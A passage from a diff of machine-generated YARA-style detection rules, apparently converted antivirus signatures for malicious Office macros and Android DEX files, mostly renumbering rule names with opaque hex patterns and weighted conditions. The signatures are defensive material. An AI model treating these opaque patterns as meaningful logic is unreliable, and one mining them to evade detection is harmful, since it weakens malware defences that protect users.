1)*790+(#a_43_6 & 1)*789+(#a_74_7 & 1)*25970+(#a_02_8 & 1)*8236+(#a_00_9 & 1)*11386+(#a_90_10 & 1)*11298+(#a_3d_12 & 1)*13312+(#a_22_13 & 1)*31073+(#a_00_14 & 1)*144+(#a_41_15 & 1)*15619+(#a_00_16 & 1)*144+(#a_41_17 & 1)*15619+(#a_02_18 & 1)*10341+(#a_65_19 & 1)*24933+(#a_2c_20 & 1)*26626+(#a_25_21 & 1)*-28640+(#a_20_22 & 1)*656+(#a_90_23 & 1)*11301+(#a_25_24 & 1)*-28640+(#a_2c_25 & 1)*9474+(#a_62_26 & 1)*25972+(#a_90_27 & 1)*31073+(#a_2c_28 & 1)*656+(#a_02_29 & 1)*8236) >=1 } -rule _InfrastructureShared_24565{ +rule _InfrastructureShared_25858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 19 00 21 " @@ -321478,7 +338070,7 @@ rule _InfrastructureShared_24565{ ((#a_53_0 & 1)*19747+(#a_30_1 & 1)*-28640+(#a_20_2 & 1)*12290+(#a_2c_3 & 1)*656+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1) >=1 } -rule _InfrastructureShared_24566{ +rule _InfrastructureShared_25859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 1d 00 21 " @@ -321514,7 +338106,7 @@ rule _InfrastructureShared_24566{ ((#a_53_0 & 1)*19747+(#a_1b_1 & 1)*12856+(#a_00_2 & 1)*-28620+(#a_1b_3 & 1)*13106+(#a_32_4 & 1)*13105+(#a_90_5 & 1)*12341+(#a_90_6 & 1)*12854+(#a_31_7 & 1)*656+(#a_00_9 & 1)*-28624+(#a_34_10 & 1)*13873+(#a_37_11 & 1)*8744+(#a_70_12 & 1)*8253+(#a_38_13 & 1)*13621+(#a_1b_14 & 1)*13368+(#a_1b_15 & 1)*14389+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_bd_26 & 1)*0+(#a_00_28 & 1)*31) >=1 } -rule _InfrastructureShared_24567{ +rule _InfrastructureShared_25860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 11 00 21 " @@ -321537,7 +338129,7 @@ rule _InfrastructureShared_24567{ ((#a_53_0 & 1)*19747+(#a_1c_1 & 1)*8230+(#a_90_2 & 1)*9760+(#a_01_4 & 1)*-28640+(#a_1c_5 & 1)*8230+(#a_90_6 & 1)*9760+(#a_01_8 & 1)*-28640+(#a_1c_9 & 1)*8230+(#a_00_10 & 1)*144+(#a_26_11 & 1)*14083+(#a_01_12 & 1)*-28640+(#a_1c_13 & 1)*8230+(#a_26_15 & 1)*31+(#a_01_16 & 1)*-28640) >=1 } -rule _InfrastructureShared_24568{ +rule _InfrastructureShared_25861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 30 00 21 " @@ -321594,7 +338186,7 @@ rule _InfrastructureShared_24568{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*811+(#a_05_2 & 1)*14637+(#a_90_3 & 1)*14637+(#a_2d_4 & 1)*769+(#a_30_5 & 1)*2053+(#a_2b_6 & 1)*260+(#a_30_7 & 1)*260+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_03_27 & 1)*1+(#a_03_28 & 1)*1+(#a_03_29 & 1)*1+(#a_03_30 & 1)*1+(#a_03_31 & 1)*1+(#a_03_32 & 1)*1+(#a_03_33 & 1)*1+(#a_03_34 & 1)*1+(#a_03_35 & 1)*1+(#a_03_36 & 1)*1+(#a_03_37 & 1)*1+(#a_03_38 & 1)*1+(#a_03_39 & 1)*1+(#a_03_40 & 1)*1+(#a_03_41 & 1)*1+(#a_03_42 & 1)*1+(#a_03_43 & 1)*1+(#a_03_44 & 1)*1+(#a_03_45 & 1)*1+(#a_03_46 & 1)*1+(#a_03_47 & 1)*1) >=1 } -rule _InfrastructureShared_24569{ +rule _InfrastructureShared_25862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 32 00 21 " @@ -321653,7 +338245,7 @@ rule _InfrastructureShared_24569{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*29812+(#a_34_2 & 1)*17487+(#a_90_3 & 1)*27748+(#a_2f_4 & 1)*14960+(#a_2f_5 & 1)*14963+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_03_26 & 1)*1+(#a_03_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_70_47 & 1)*0+(#a_78_48 & 1)*656+(#a_90_49 & 1)*1026) >=1 } -rule _InfrastructureShared_24570{ +rule _InfrastructureShared_25863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 28 00 21 " @@ -321701,7 +338293,7 @@ rule _InfrastructureShared_24570{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*1026+(#a_20_2 & 1)*656+(#a_90_3 & 1)*1026+(#a_04_4 & 1)*-28552+(#a_90_5 & 1)*1026+(#a_04_6 & 1)*-28563+(#a_90_7 & 1)*1026+(#a_90_8 & 1)*1026+(#a_90_9 & 1)*3+(#a_00_10 & 1)*28676+(#a_90_11 & 1)*1026+(#a_90_12 & 1)*1026+(#a_90_13 & 1)*3+(#a_00_14 & 1)*28676+(#a_90_15 & 1)*1026+(#a_90_16 & 1)*1026+(#a_90_17 & 1)*3+(#a_00_18 & 1)*28676+(#a_90_19 & 1)*1026+(#a_90_20 & 1)*1026+(#a_90_21 & 1)*1+(#a_00_22 & 1)*28676+(#a_90_23 & 1)*1026+(#a_90_24 & 1)*1026+(#a_23_25 & 1)*90+(#a_30_26 & 1)*8253+(#a_32_27 & 1)*8253+(#a_34_28 & 1)*8253+(#a_36_29 & 1)*8253+(#a_38_30 & 1)*8253+(#a_30_31 & 1)*8253+(#a_90_32 & 1)*12832+(#a_05_33 & 1)*13362+(#a_39_34 & 1)*12291+(#a_10_35 & 1)*-28626+(#a_3d_37 & 1)*5888+(#a_30_38 & 1)*4101+(#a_30_39 & 1)*4101) >=1 } -rule _InfrastructureShared_24571{ +rule _InfrastructureShared_25864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0c 00 0c 00 5a 00 21 " @@ -321799,7 +338391,7 @@ rule _InfrastructureShared_24571{ ((#a_53_0 & 1)*19747+(#a_39_1 & 1)*12291+(#a_10_2 & 1)*-28626+(#a_3d_4 & 1)*5888+(#a_30_5 & 1)*4101+(#a_30_6 & 1)*4101+(#a_00_7 & 1)*144+(#a_31_8 & 1)*15619+(#a_90_9 & 1)*14637+(#a_2d_10 & 1)*784+(#a_30_11 & 1)*4101+(#a_30_12 & 1)*4101+(#a_00_13 & 1)*144+(#a_32_14 & 1)*15619+(#a_90_15 & 1)*14637+(#a_2d_16 & 1)*784+(#a_30_17 & 1)*4101+(#a_30_18 & 1)*4101+(#a_00_19 & 1)*144+(#a_32_20 & 1)*15619+(#a_90_21 & 1)*14637+(#a_2d_22 & 1)*784+(#a_30_23 & 1)*4101+(#a_30_24 & 1)*4101+(#a_00_25 & 1)*144+(#a_33_26 & 1)*15619+(#a_90_27 & 1)*14637+(#a_2d_28 & 1)*784+(#a_30_29 & 1)*4101+(#a_30_30 & 1)*4101+(#a_00_31 & 1)*144+(#a_33_32 & 1)*15619+(#a_90_33 & 1)*14637+(#a_2d_34 & 1)*784+(#a_30_35 & 1)*4101+(#a_30_36 & 1)*4101+(#a_00_37 & 1)*144+(#a_34_38 & 1)*15619+(#a_90_39 & 1)*14637+(#a_2d_40 & 1)*784+(#a_30_41 & 1)*4101+(#a_30_42 & 1)*4101+(#a_00_43 & 1)*144+(#a_35_44 & 1)*15619+(#a_90_45 & 1)*14637+(#a_2d_46 & 1)*784+(#a_30_47 & 1)*4101+(#a_30_48 & 1)*4101+(#a_00_49 & 1)*144+(#a_35_50 & 1)*15619+(#a_90_51 & 1)*14637+(#a_2d_52 & 1)*784+(#a_30_53 & 1)*4101+(#a_30_54 & 1)*4101+(#a_00_55 & 1)*144+(#a_36_56 & 1)*15619+(#a_90_57 & 1)*14637+(#a_2d_58 & 1)*784+(#a_30_59 & 1)*4101+(#a_30_60 & 1)*4101+(#a_00_61 & 1)*144+(#a_36_62 & 1)*15619+(#a_90_63 & 1)*14637+(#a_2d_64 & 1)*784+(#a_30_65 & 1)*4101+(#a_30_66 & 1)*4101+(#a_00_67 & 1)*144+(#a_37_68 & 1)*15619+(#a_90_69 & 1)*14637+(#a_2d_70 & 1)*784+(#a_30_71 & 1)*4101+(#a_30_72 & 1)*4101+(#a_00_73 & 1)*144+(#a_38_74 & 1)*15619+(#a_90_75 & 1)*14637+(#a_2d_76 & 1)*784+(#a_30_77 & 1)*4101+(#a_30_78 & 1)*4101+(#a_00_79 & 1)*144+(#a_38_80 & 1)*15619+(#a_90_81 & 1)*14637+(#a_2d_82 & 1)*784+(#a_30_83 & 1)*4101+(#a_30_84 & 1)*4101+(#a_00_85 & 1)*144+(#a_39_86 & 1)*15619+(#a_90_87 & 1)*14637+(#a_2d_88 & 1)*784+(#a_30_89 & 1)*4101) >=12 } -rule _InfrastructureShared_24572{ +rule _InfrastructureShared_25865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 24 00 21 " @@ -321843,7 +338435,7 @@ rule _InfrastructureShared_24572{ ((#a_4c_0 & 1)*21539+(#a_70_1 & 1)*21601+(#a_61_2 & 1)*29761+(#a_65_3 & 1)*8293+(#a_20_4 & 1)*28482+(#a_01_5 & 1)*-1+(#a_01_6 & 1)*-1+(#a_01_7 & 1)*-1+(#a_01_8 & 1)*-1+(#a_01_9 & 1)*-1+(#a_01_10 & 1)*-1+(#a_01_11 & 1)*-1+(#a_01_12 & 1)*-1+(#a_01_13 & 1)*-1+(#a_01_14 & 1)*-1+(#a_01_15 & 1)*-1+(#a_01_16 & 1)*-1+(#a_01_17 & 1)*-1+(#a_01_18 & 1)*-1+(#a_01_19 & 1)*-1+(#a_01_20 & 1)*-1+(#a_01_21 & 1)*-1+(#a_01_22 & 1)*-1+(#a_01_23 & 1)*-1+(#a_01_24 & 1)*-1+(#a_01_25 & 1)*-1+(#a_01_26 & 1)*-1+(#a_01_27 & 1)*-1+(#a_01_28 & 1)*-1+(#a_01_29 & 1)*-1+(#a_01_30 & 1)*-1+(#a_01_31 & 1)*-1+(#a_46_32 & 1)*0+(#a_49_34 & 1)*10496+(#a_30_35 & 1)*2053) >=10 } -rule _InfrastructureShared_24573{ +rule _InfrastructureShared_25866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 75 00 21 " @@ -321963,12 +338555,12 @@ rule _InfrastructureShared_24573{ $a_03_113 = {[] 2[] b[] [] 2[] 0[] [] 3[] 7[] [] 3[] 9[] [] 9[] 0[] [] 0[] 5[] [] 0[] 8[] [] 0[] 3[] [] 3[] 0[] [] 2[] d[] [] 3[] 9[] [] 2[] 0[] [] 9[] 0[] [] 0[] 4[] [] 0[] 1[] [] 0[] 2[] [] 2[] b[] [] 2[] d[] [] 2[] 0[] [] [[] 3[] 0[] -[] 3[] 9[] ][] [] 9[] 0[] [] 0[] 5[] [] 0[] 8[] [] 0[] 3[] [] 3[] 0[] [] 2[] d[] [] 3[] 9[] [] 2[] 0[] [] 9[] 0[] [] 0[] 4[] [] 0[] 1[] [] 0[] 2[] [] 2[] b[] [] 2[] d[] [] 2[] 0[] [] [[] 3[] 0[] -[] 3[] 9[] ][] [] } //1 $a_03_114 = {[] 2[] b[] [] 2[] 0[] [] 3[] 8[] [] 3[] 0[] [] 9[] 0[] [] 0[] 5[] [] 0[] 8[] [] 0[] 3[] [] 3[] 0[] [] 2[] d[] [] 3[] 9[] [] 2[] 0[] [] 9[] 0[] [] 0[] 4[] [] 0[] 1[] [] 0[] 2[] [] 2[] b[] [] 2[] d[] [] 2[] 0[] [] [[] 3[] 0[] -[] 3[] 9[] ][] [] 9[] 0[] [] 0[] 5[] [] 0[] 8[] [] 0[] 3[] [] 3[] 0[] [] 2[] d[] [] 3[] 9[] [] 2[] 0[] [] 9[] 0[] [] 0[] 4[] [] 0[] 1[] [] 0[] 2[] [] 2[] b[] [] 2[] d[] [] 2[] 0[] [] [[] 3[] 0[] -[] 3[] 9[] ][] [] } //1 $a_03_115 = {[] 2[] b[] [] 2[] 0[] [] 3[] 8[] [] 3[] 1[] [] 9[] 0[] [] 0[] 5[] [] 0[] 8[] [] 0[] 3[] [] 3[] 0[] [] 2[] d[] [] 3[] 9[] [] 2[] 0[] [] 9[] 0[] [] 0[] 4[] [] 0[] 1[] [] 0[] 2[] [] 2[] b[] [] 2[] d[] [] 2[] 0[] [] [[] 3[] 0[] -[] 3[] 9[] ][] [] 9[] 0[] [] 0[] 5[] [] 0[] 8[] [] 0[] 3[] [] 3[] 0[] [] 2[] d[] [] 3[] 9[] [] 2[] 0[] [] 9[] 0[] [] 0[] 4[] [] 0[] 1[] [] 0[] 2[] [] 2[] b[] [] 2[] d[] [] 2[] 0[] [] [[] 3[] 0[] -[] 3[] 9[] ][] [] } //1 - $a_ef_116 = {08 00 00 f1 04 00 00 09 00 4b 25 6b 23 63 5c 95 75 20 7e 28 7e 88 b8 48 18 ff ff ff ff 01 00 01 00 1e 88 4f 6f ff ff ff ff 00 00 00 00 09 00 4b 25 6b 23 63 5c 95 75 2a d9 8b 97 88 b8 48 18 ff ff ff ff 01 00 01 00 1e 88 4f 6f ff ff ff ff 00 00 00 00 15 00 4b 25 6b 23 63 5c 95 75 88 b8 48 18 ff ff ff ff 01 00 01 00 c4 d8 97 25 f4 b0 f4 36 ff ff ff ff 01 00 01 00 1e 88 4f 6f 4c 91 52 65 88 b8 48 18 f4 b0 f4 36 ff ff ff ff 01 00 01 } //0 + $a_36_116 = {09 00 00 f7 05 00 00 09 00 4b 25 6b 23 63 5c 95 75 20 7e 28 7e 88 b8 48 18 ff ff ff ff 01 00 01 00 1e 88 4f 6f ff ff ff ff 00 00 00 00 09 00 4b 25 6b 23 63 5c 95 75 2a d9 8b 97 88 b8 48 18 ff ff ff ff 01 00 01 00 1e 88 4f 6f ff ff ff ff 00 00 00 00 15 00 4b 25 6b 23 63 5c 95 75 88 b8 48 18 ff ff ff ff 01 00 01 00 c4 d8 97 25 f4 b0 f4 36 ff ff ff ff 01 00 01 00 1e 88 4f 6f 4c 91 52 65 88 b8 48 18 f4 b0 f4 36 ff ff ff ff 01 00 01 } //0 condition: - ((#a_53_0 & 1)*19747+(#a_05_1 & 1)*14637+(#a_49_3 & 1)*10496+(#a_30_4 & 1)*2053+(#a_3c_5 & 1)*260+(#a_30_6 & 1)*260+(#a_2d_7 & 1)*776+(#a_00_8 & 1)*28261+(#a_02_9 & 1)*1168+(#a_04_10 & 1)*8237+(#a_05_11 & 1)*14637+(#a_90_12 & 1)*14637+(#a_2d_13 & 1)*769+(#a_30_14 & 1)*2053+(#a_2b_15 & 1)*260+(#a_30_16 & 1)*260+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_03_27 & 1)*1+(#a_03_28 & 1)*1+(#a_03_29 & 1)*1+(#a_03_30 & 1)*1+(#a_03_31 & 1)*1+(#a_03_32 & 1)*1+(#a_03_33 & 1)*1+(#a_03_34 & 1)*1+(#a_03_35 & 1)*1+(#a_03_36 & 1)*1+(#a_03_37 & 1)*1+(#a_03_38 & 1)*1+(#a_03_39 & 1)*1+(#a_03_40 & 1)*1+(#a_03_41 & 1)*1+(#a_03_42 & 1)*1+(#a_03_43 & 1)*1+(#a_03_44 & 1)*1+(#a_03_45 & 1)*1+(#a_03_46 & 1)*1+(#a_03_47 & 1)*1+(#a_03_48 & 1)*1+(#a_03_49 & 1)*1+(#a_03_50 & 1)*1+(#a_03_51 & 1)*1+(#a_03_52 & 1)*1+(#a_03_53 & 1)*1+(#a_03_54 & 1)*1+(#a_03_55 & 1)*1+(#a_03_56 & 1)*1+(#a_03_57 & 1)*1+(#a_03_58 & 1)*1+(#a_03_59 & 1)*1+(#a_03_60 & 1)*1+(#a_03_61 & 1)*1+(#a_03_62 & 1)*1+(#a_03_63 & 1)*1+(#a_03_64 & 1)*1+(#a_03_65 & 1)*1+(#a_03_66 & 1)*1+(#a_03_67 & 1)*1+(#a_03_68 & 1)*1+(#a_03_69 & 1)*1+(#a_03_70 & 1)*1+(#a_03_71 & 1)*1+(#a_03_72 & 1)*1+(#a_03_73 & 1)*1+(#a_03_74 & 1)*1+(#a_03_75 & 1)*1+(#a_03_76 & 1)*1+(#a_03_77 & 1)*1+(#a_03_78 & 1)*1+(#a_03_79 & 1)*1+(#a_03_80 & 1)*1+(#a_03_81 & 1)*1+(#a_03_82 & 1)*1+(#a_03_83 & 1)*1+(#a_03_84 & 1)*1+(#a_03_85 & 1)*1+(#a_03_86 & 1)*1+(#a_03_87 & 1)*1+(#a_03_88 & 1)*1+(#a_03_89 & 1)*1+(#a_03_90 & 1)*1+(#a_03_91 & 1)*1+(#a_03_92 & 1)*1+(#a_03_93 & 1)*1+(#a_03_94 & 1)*1+(#a_03_95 & 1)*1+(#a_03_96 & 1)*1+(#a_03_97 & 1)*1+(#a_03_98 & 1)*1+(#a_03_99 & 1)*1+(#a_03_100 & 1)*1+(#a_03_101 & 1)*1+(#a_03_102 & 1)*1+(#a_03_103 & 1)*1+(#a_03_104 & 1)*1+(#a_03_105 & 1)*1+(#a_03_106 & 1)*1+(#a_03_107 & 1)*1+(#a_03_108 & 1)*1+(#a_03_109 & 1)*1+(#a_03_110 & 1)*1+(#a_03_111 & 1)*1+(#a_03_112 & 1)*1+(#a_03_113 & 1)*1+(#a_03_114 & 1)*1+(#a_03_115 & 1)*1+(#a_ef_116 & 1)*0) >=1 + ((#a_53_0 & 1)*19747+(#a_05_1 & 1)*14637+(#a_49_3 & 1)*10496+(#a_30_4 & 1)*2053+(#a_3c_5 & 1)*260+(#a_30_6 & 1)*260+(#a_2d_7 & 1)*776+(#a_00_8 & 1)*28261+(#a_02_9 & 1)*1168+(#a_04_10 & 1)*8237+(#a_05_11 & 1)*14637+(#a_90_12 & 1)*14637+(#a_2d_13 & 1)*769+(#a_30_14 & 1)*2053+(#a_2b_15 & 1)*260+(#a_30_16 & 1)*260+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_03_27 & 1)*1+(#a_03_28 & 1)*1+(#a_03_29 & 1)*1+(#a_03_30 & 1)*1+(#a_03_31 & 1)*1+(#a_03_32 & 1)*1+(#a_03_33 & 1)*1+(#a_03_34 & 1)*1+(#a_03_35 & 1)*1+(#a_03_36 & 1)*1+(#a_03_37 & 1)*1+(#a_03_38 & 1)*1+(#a_03_39 & 1)*1+(#a_03_40 & 1)*1+(#a_03_41 & 1)*1+(#a_03_42 & 1)*1+(#a_03_43 & 1)*1+(#a_03_44 & 1)*1+(#a_03_45 & 1)*1+(#a_03_46 & 1)*1+(#a_03_47 & 1)*1+(#a_03_48 & 1)*1+(#a_03_49 & 1)*1+(#a_03_50 & 1)*1+(#a_03_51 & 1)*1+(#a_03_52 & 1)*1+(#a_03_53 & 1)*1+(#a_03_54 & 1)*1+(#a_03_55 & 1)*1+(#a_03_56 & 1)*1+(#a_03_57 & 1)*1+(#a_03_58 & 1)*1+(#a_03_59 & 1)*1+(#a_03_60 & 1)*1+(#a_03_61 & 1)*1+(#a_03_62 & 1)*1+(#a_03_63 & 1)*1+(#a_03_64 & 1)*1+(#a_03_65 & 1)*1+(#a_03_66 & 1)*1+(#a_03_67 & 1)*1+(#a_03_68 & 1)*1+(#a_03_69 & 1)*1+(#a_03_70 & 1)*1+(#a_03_71 & 1)*1+(#a_03_72 & 1)*1+(#a_03_73 & 1)*1+(#a_03_74 & 1)*1+(#a_03_75 & 1)*1+(#a_03_76 & 1)*1+(#a_03_77 & 1)*1+(#a_03_78 & 1)*1+(#a_03_79 & 1)*1+(#a_03_80 & 1)*1+(#a_03_81 & 1)*1+(#a_03_82 & 1)*1+(#a_03_83 & 1)*1+(#a_03_84 & 1)*1+(#a_03_85 & 1)*1+(#a_03_86 & 1)*1+(#a_03_87 & 1)*1+(#a_03_88 & 1)*1+(#a_03_89 & 1)*1+(#a_03_90 & 1)*1+(#a_03_91 & 1)*1+(#a_03_92 & 1)*1+(#a_03_93 & 1)*1+(#a_03_94 & 1)*1+(#a_03_95 & 1)*1+(#a_03_96 & 1)*1+(#a_03_97 & 1)*1+(#a_03_98 & 1)*1+(#a_03_99 & 1)*1+(#a_03_100 & 1)*1+(#a_03_101 & 1)*1+(#a_03_102 & 1)*1+(#a_03_103 & 1)*1+(#a_03_104 & 1)*1+(#a_03_105 & 1)*1+(#a_03_106 & 1)*1+(#a_03_107 & 1)*1+(#a_03_108 & 1)*1+(#a_03_109 & 1)*1+(#a_03_110 & 1)*1+(#a_03_111 & 1)*1+(#a_03_112 & 1)*1+(#a_03_113 & 1)*1+(#a_03_114 & 1)*1+(#a_03_115 & 1)*1+(#a_36_116 & 1)*0) >=1 } -rule _InfrastructureShared_24574{ +rule _InfrastructureShared_25867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 01 00 21 " @@ -321978,7 +338570,7 @@ rule _InfrastructureShared_24574{ ((#a_6c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_24575{ +rule _InfrastructureShared_25868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -321989,7 +338581,7 @@ rule _InfrastructureShared_24575{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*14930) >=2 } -rule _InfrastructureShared_24576{ +rule _InfrastructureShared_25869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 01 00 21 " @@ -321999,7 +338591,7 @@ rule _InfrastructureShared_24576{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_24577{ +rule _InfrastructureShared_25870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -322010,7 +338602,7 @@ rule _InfrastructureShared_24577{ ((#a_4c_0 & 1)*21539+(#a_54_1 & 1)*21076) >=2 } -rule _InfrastructureShared_24578{ +rule _InfrastructureShared_25871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 01 00 21 " @@ -322020,7 +338612,7 @@ rule _InfrastructureShared_24578{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_24579{ +rule _InfrastructureShared_25872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,01 00 01 00 01 00 21 " @@ -322030,7 +338622,7 @@ rule _InfrastructureShared_24579{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_24580{ +rule _InfrastructureShared_25873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -322042,7 +338634,7 @@ rule _InfrastructureShared_24580{ ((#a_41_0 & 1)*20515+(#a_6e_1 & 1)*14958+(#a_54_2 & 1)*8448) >=3 } -rule _InfrastructureShared_24581{ +rule _InfrastructureShared_25874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,01 00 01 00 01 00 21 " @@ -322052,7 +338644,7 @@ rule _InfrastructureShared_24581{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_24582{ +rule _InfrastructureShared_25875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -322062,7 +338654,7 @@ rule _InfrastructureShared_24582{ ((#a_4c_0 & 1)*21539) >=3 } -rule _InfrastructureShared_24583{ +rule _InfrastructureShared_25876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 02 00 21 " @@ -322073,7 +338665,7 @@ rule _InfrastructureShared_24583{ ((#a_46_0 & 1)*16675+(#a_23_1 & 1)*1) >=6 } -rule _InfrastructureShared_24584{ +rule _InfrastructureShared_25877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 01 00 21 " @@ -322083,7 +338675,7 @@ rule _InfrastructureShared_24584{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_24585{ +rule _InfrastructureShared_25878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -322093,7 +338685,7 @@ rule _InfrastructureShared_24585{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_24586{ +rule _InfrastructureShared_25879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 04 00 21 " @@ -322106,7 +338698,7 @@ rule _InfrastructureShared_24586{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*8448+(#a_6d_2 & 1)*274+(#a_01_3 & 1)*256) >=3 } -rule _InfrastructureShared_24587{ +rule _InfrastructureShared_25880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 02 00 21 " @@ -322117,7 +338709,7 @@ rule _InfrastructureShared_24587{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0) >=4 } -rule _InfrastructureShared_24588{ +rule _InfrastructureShared_25881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 01 00 21 " @@ -322127,7 +338719,7 @@ rule _InfrastructureShared_24588{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_24589{ +rule _InfrastructureShared_25882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 01 00 21 " @@ -322137,7 +338729,7 @@ rule _InfrastructureShared_24589{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_24590{ +rule _InfrastructureShared_25883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 03 00 21 " @@ -322149,7 +338741,7 @@ rule _InfrastructureShared_24590{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-16896+(#a_00_2 & 1)*-16896) >=4 } -rule _InfrastructureShared_24591{ +rule _InfrastructureShared_25884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -322160,7 +338752,7 @@ rule _InfrastructureShared_24591{ ((#a_4c_0 & 1)*21539+(#a_2b_1 & 1)*27238) >=2 } -rule _InfrastructureShared_24592{ +rule _InfrastructureShared_25885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 03 